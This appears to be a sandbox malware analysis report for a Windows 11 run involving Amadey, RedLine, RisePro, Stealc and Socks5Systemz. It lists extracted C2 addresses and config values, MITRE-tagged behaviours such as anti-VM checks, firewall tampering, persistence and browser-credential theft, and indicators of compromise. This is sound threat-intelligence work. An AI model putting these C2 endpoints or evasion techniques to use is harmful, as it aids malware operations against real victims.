amadey | hxxp://google

Analysis

max time kernel
971s
max time network
972s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
26-06-2024 16:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://google

Malware Config

Extracted

Family

risepro

191.101.209.39

5.42.66.10

Extracted

Family

redline

Botnet

LogsDiller Cloud (TG: @logsdillabot)

5.42.65.92:27953

Extracted

Family

stealc

Botnet

default

http://85.28.47.4

Attributes

url_path
/920475a59bac849d.php

Extracted

Family

amadey

Version

4.21

Botnet

0e6740

http://147.45.47.155

Attributes

install_dir
9217037dc9
install_file
explortu.exe
strings_key
8e894a8a4a3d0da8924003a561cfb244
url_paths
/ku4Nor9/index.php

rc4.plain

Extracted

Family

socks5systemz

youtube.com

tzegilo.com

bhvedhz.com

http://bhvedhz.com/search/?q=67e28dd83e55f3201607a91c7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa48e8889b5e4fa9281ae978ff71ea771795af8e05c645db22f31dfe339426fa12a466c553adb719a9577e55b8603e983a608ff615c1e693993f

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Modifies firewall policy service 3 TTPs 3 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	setup.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	setup.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	setup.exe

PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral1/memory/6612-3977-0x0000000000400000-0x0000000000450000-memory.dmp	family_redline

RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro
Socks5Systemz
Socks5Systemz is a botnet written in C++.
botnet socks5systemz
Stealc
Stealc is an infostealer written in C++.
stealer stealc

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 11 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	g05IeRY2k6h_YU1jQKYI42Os.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	KKFBFCAFCB.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	kOAjJOg6jYDP8gUBcAzGtLhT.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	xwQalmpr7CbniCocsR_G0TvU.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
423	7140	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1444	powershell.exe
3160	powershell.exe
560	powershell.exe
4844	powershell.exe
6028	powershell.exe
6332	powershell.exe
5544	powershell.exe
6216	powershell.exe
6828	powershell.exe
1716	powershell.exe
6848	powershell.exe
4124	powershell.exe
1664	powershell.exe
6376	powershell.exe
5620	powershell.EXE
6176	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/files/0x001a00000002aef6-3671.dat	net_reactor
behavioral1/memory/6036-3730-0x00000000008D0000-0x0000000000D0C000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 26 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	g05IeRY2k6h_YU1jQKYI42Os.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	KKFBFCAFCB.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	kOAjJOg6jYDP8gUBcAzGtLhT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	KKFBFCAFCB.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	xwQalmpr7CbniCocsR_G0TvU.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	xwQalmpr7CbniCocsR_G0TvU.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	kOAjJOg6jYDP8gUBcAzGtLhT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	g05IeRY2k6h_YU1jQKYI42Os.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Control Panel\International\Geo\Nation	uZMIViB.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Control Panel\International\Geo\Nation	XEAOSSh.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Control Panel\International\Geo\Nation	QDiQnOp.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNT.lnk	g05IeRY2k6h_YU1jQKYI42Os.exe

Executes dropped EXE 61 IoCs

pid	Process
6124	DyT_zIKR9b9avB2QaOsU0Jjb.exe
2728	u437qNcUEEmRGkcsTX57fcXb.exe
6036	_IkhE8kg8imyNZJTaxRN8zjT.exe
4916	iBefrShWADsAuNAyKJA64YlZ.exe
6056	g05IeRY2k6h_YU1jQKYI42Os.exe
6000	JawJBBgyS9bEy56N8RCGbb_R.exe
6136	Ji3_yXHZks9YYsB3F_VelBMi.exe
6064	eRYSJ5alIHUeFEI0CjvmJSzf.exe
5984	R42wU6T6MxPmzVCvyCOtTjfa.exe
5452	iBefrShWADsAuNAyKJA64YlZ.tmp
6716	Install.exe
6976	audionormalizer32_64.exe
7068	audionormalizer32_64.exe
7120	Install.exe
6476	KECBKKEBKE.exe
5996	BFBGHDGCFH.exe
2644	eqtpkqwqodik.exe
2856	IIEHJEHDBG.exe
976	KKFBFCAFCB.exe
2084	explortu.exe
5528	01e2b36077.exe
7140	Install.exe
7036	explortu.exe
4216	uZMIViB.exe
5272	explortu.exe
804	explortu.exe
5908	e7XvxulTAnRfVk00hX8y2ZIu.exe
6300	KYqP7ya3NTmGeDnKWgdCAcxB.exe
248	DQdlwOjJ4U5Xw7JyiX0yr1hW.exe
7064	eNjpSVgSlKmW28l0r0QUi5iz.exe
1504	xwQalmpr7CbniCocsR_G0TvU.exe
6748	LW8L1gqHwARCQ66f1Ucz09zz.exe
6952	WVZfnCYwaWXtwL6de4zDDp12.exe
6516	GAi5F8yEoSer2o9iBJ35zljO.exe
7024	tGjuz_CO5UrFm_mqkRwg0SV2.exe
6212	eNjpSVgSlKmW28l0r0QUi5iz.tmp
3480	Install.exe
408	Install.exe
6608	explortu.exe
2700	eqtpkqwqodik.exe
928	Install.exe
5416	explortu.exe
5348	XEAOSSh.exe
4108	kOAjJOg6jYDP8gUBcAzGtLhT.exe
6284	oTk_3XRn2WdRuMpkJOJYcXqf.exe
4716	tDhygA7GyAjlivke6QcyeUZC.exe
4040	y0V6iQpV8ebQaqgfkS1GLXNU.exe
5180	GrErBZBxX24i4QQfd1D7CXue.exe
896	D8G20MHKbHs7HQQXvUGZDVTe.exe
5064	j7T6uOenazCLzjfc3Q0zJCJg.exe
3220	W8_Cs__t8gA5hvZYMgXAWyqT.exe
3168	HAjiGKh3u0rrhO3KOoxjROLq.exe
3724	tDhygA7GyAjlivke6QcyeUZC.tmp
5444	Install.exe
4836	Install.exe
5992	eqtpkqwqodik.exe
3944	eqtpkqwqodik.exe
5356	eqtpkqwqodik.exe
3696	Install.exe
1456	explortu.exe
1856	QDiQnOp.exe

Identifies Wine through registry keys 2 TTPs 8 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Wine	KKFBFCAFCB.exe
Key opened	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Wine	explortu.exe

Loads dropped DLL 6 IoCs

pid	Process
5452	iBefrShWADsAuNAyKJA64YlZ.tmp
5984	R42wU6T6MxPmzVCvyCOtTjfa.exe
5984	R42wU6T6MxPmzVCvyCOtTjfa.exe
7140	rundll32.exe
6212	eNjpSVgSlKmW28l0r0QUi5iz.tmp
3724	tDhygA7GyAjlivke6QcyeUZC.tmp

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 9 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x001900000002af24-3717.dat	themida
behavioral1/memory/6056-3722-0x0000000000950000-0x000000000150A000-memory.dmp	themida
behavioral1/memory/6056-3738-0x0000000000950000-0x000000000150A000-memory.dmp	themida
behavioral1/memory/6056-3736-0x0000000000950000-0x000000000150A000-memory.dmp	themida
behavioral1/memory/6056-3737-0x0000000000950000-0x000000000150A000-memory.dmp	themida
behavioral1/memory/6056-4215-0x0000000000950000-0x000000000150A000-memory.dmp	themida
behavioral1/memory/1504-5149-0x0000000000640000-0x00000000011FA000-memory.dmp	themida
behavioral1/memory/1504-5179-0x0000000000640000-0x00000000011FA000-memory.dmp	themida
behavioral1/memory/6056-6573-0x0000000000950000-0x000000000150A000-memory.dmp	themida

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	141.98.234.31

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Microsoft\Windows\CurrentVersion\Run\ExtreamFanV5 = "C:\\Users\\Admin\\AppData\\Local\\ExtreamFanV5\\ExtreamFanV5.exe"	g05IeRY2k6h_YU1jQKYI42Os.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	g05IeRY2k6h_YU1jQKYI42Os.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	xwQalmpr7CbniCocsR_G0TvU.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	kOAjJOg6jYDP8gUBcAzGtLhT.exe

Drops Chrome extension 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	uZMIViB.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	uZMIViB.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	XEAOSSh.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	QDiQnOp.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	Install.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 9 IoCs

Web Service

T1102

flow	ioc
107	pastebin.com
217	pastebin.com
351	iplogger.org
353	iplogger.org
359	iplogger.org
394	iplogger.org
216	pastebin.com
472	iplogger.org
530	iplogger.org

Looks up external IP address via web service 13 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
474	ipinfo.io
283	api.myip.com
351	ipinfo.io
394	ipinfo.io
430	ipinfo.io
489	api.myip.com
491	ipinfo.io
134	ipinfo.io
429	api.myip.com
306	api.myip.com
308	ipinfo.io
353	api.myip.com
353	ipinfo.io

Power Settings 1 TTPs 32 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
724	powercfg.exe
2908	powercfg.exe
2360	powercfg.exe
6972	powercfg.exe
5936	powercfg.exe
3980	powercfg.exe
488	powercfg.exe
6892	powercfg.exe
6988	powercfg.exe
1636	powercfg.exe
7000	powercfg.exe
668	powercfg.exe
1912	powercfg.exe
4140	powercfg.exe
5544	powercfg.exe
5012	powercfg.exe
1764	powercfg.exe
1296	powercfg.exe
3972	powercfg.exe
2384	powercfg.exe
2500	powercfg.exe
2424	powercfg.exe
2152	powercfg.exe
1164	powercfg.exe
332	powercfg.exe
6084	powercfg.exe
6836	powercfg.exe
4248	powercfg.exe
4980	powercfg.exe
6336	powercfg.exe
468	powercfg.exe
4724	powercfg.exe

Drops file in System32 directory 53 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	setup.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	QDiQnOp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	uZMIViB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04	uZMIViB.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	setup.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	setup.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Install.exe
File opened for modification	C:\Windows\System32\GroupPolicy	setup.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	uZMIViB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	uZMIViB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199	uZMIViB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199	uZMIViB.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	setup.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\4FA45AE1010E09657982D8D28B3BD38E_74182CF0A4AE5ED3D7F44586422BCB36	uZMIViB.exe
File opened for modification	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	setup.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	setup.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	uZMIViB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\4FA45AE1010E09657982D8D28B3BD38E_74182CF0A4AE5ED3D7F44586422BCB36	uZMIViB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	uZMIViB.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	setup.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	XEAOSSh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	uZMIViB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_377D07FDFD79CC3A0CC83B675B685EDC	uZMIViB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_11C7636B4ED451F6A0167B1B5EB1E2C1	uZMIViB.exe
File opened for modification	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	setup.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	uZMIViB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_11C7636B4ED451F6A0167B1B5EB1E2C1	uZMIViB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	uZMIViB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	uZMIViB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_377D07FDFD79CC3A0CC83B675B685EDC	uZMIViB.exe
File opened for modification	C:\Windows\System32\GroupPolicy	setup.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	uZMIViB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\GroupPolicy	setup.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	uZMIViB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04	uZMIViB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	uZMIViB.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	setup.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	uZMIViB.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 24 IoCs

pid	Process
6056	g05IeRY2k6h_YU1jQKYI42Os.exe
5984	R42wU6T6MxPmzVCvyCOtTjfa.exe
5984	R42wU6T6MxPmzVCvyCOtTjfa.exe
5984	R42wU6T6MxPmzVCvyCOtTjfa.exe
5984	R42wU6T6MxPmzVCvyCOtTjfa.exe
976	KKFBFCAFCB.exe
2084	explortu.exe
5528	01e2b36077.exe
5528	01e2b36077.exe
5528	01e2b36077.exe
5528	01e2b36077.exe
7036	explortu.exe
5272	explortu.exe
804	explortu.exe
1504	xwQalmpr7CbniCocsR_G0TvU.exe
6748	LW8L1gqHwARCQ66f1Ucz09zz.exe
6748	LW8L1gqHwARCQ66f1Ucz09zz.exe
6748	LW8L1gqHwARCQ66f1Ucz09zz.exe
6608	explortu.exe
6748	LW8L1gqHwARCQ66f1Ucz09zz.exe
5416	explortu.exe
4108	kOAjJOg6jYDP8gUBcAzGtLhT.exe
896	D8G20MHKbHs7HQQXvUGZDVTe.exe
1456	explortu.exe

Suspicious use of SetThreadContext 18 IoCs

description	pid	Process	procid_target
PID 6036 set thread context of 6572	6036	_IkhE8kg8imyNZJTaxRN8zjT.exe	201
PID 6124 set thread context of 6520	6124	DyT_zIKR9b9avB2QaOsU0Jjb.exe	199
PID 6136 set thread context of 6612	6136	Ji3_yXHZks9YYsB3F_VelBMi.exe	202
PID 6476 set thread context of 7032	6476	KECBKKEBKE.exe	244
PID 5996 set thread context of 4880	5996	BFBGHDGCFH.exe	249
PID 2856 set thread context of 1216	2856	IIEHJEHDBG.exe	272
PID 2644 set thread context of 2636	2644	eqtpkqwqodik.exe	280
PID 2644 set thread context of 3000	2644	eqtpkqwqodik.exe	284
PID 2728 set thread context of 2288	2728	u437qNcUEEmRGkcsTX57fcXb.exe	286
PID 7024 set thread context of 4516	7024	tGjuz_CO5UrFm_mqkRwg0SV2.exe	476
PID 6300 set thread context of 4992	6300	KYqP7ya3NTmGeDnKWgdCAcxB.exe	478
PID 6952 set thread context of 400	6952	WVZfnCYwaWXtwL6de4zDDp12.exe	477
PID 5908 set thread context of 2100	5908	e7XvxulTAnRfVk00hX8y2ZIu.exe	535
